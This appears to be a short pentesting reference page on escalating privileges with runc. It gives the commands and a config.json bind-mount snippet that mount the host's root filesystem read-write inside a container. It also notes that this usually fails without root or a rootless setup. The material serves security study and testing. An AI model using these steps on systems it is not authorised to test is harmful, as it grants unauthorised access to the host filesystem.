RunC Privilege Escalation

Basic information

If you want to learn more about runc check the following page:

2375, 2376 Pentesting Docker

PE

If you find that runc is installed in the host you may be able to run a container mounting the root / folder of the host.

runc -help #Get help and see if runc is intalled
runc spec #This will create the config.json file in your current folder

Inside the "mounts" section of the create config.json add the following lines:
{
    "type": "bind",
    "source": "/",
    "destination": "/",
    "options": [
        "rbind",
        "rw",
        "rprivate"
    ]
},

#Once you have modified the config.json file, create the folder rootfs in the same directory
mkdir rootfs

# Finally, start the container
# The root folder is the one from the host
runc run demo

This won't always work as the default operation of runc is to run as root, so running it as an unprivileged user simply cannot work (unless you have a rootless configuration). Making a rootless configuration the default isn't generally a good idea because there are quite a few restrictions inside rootless containers that don't apply outside rootless containers.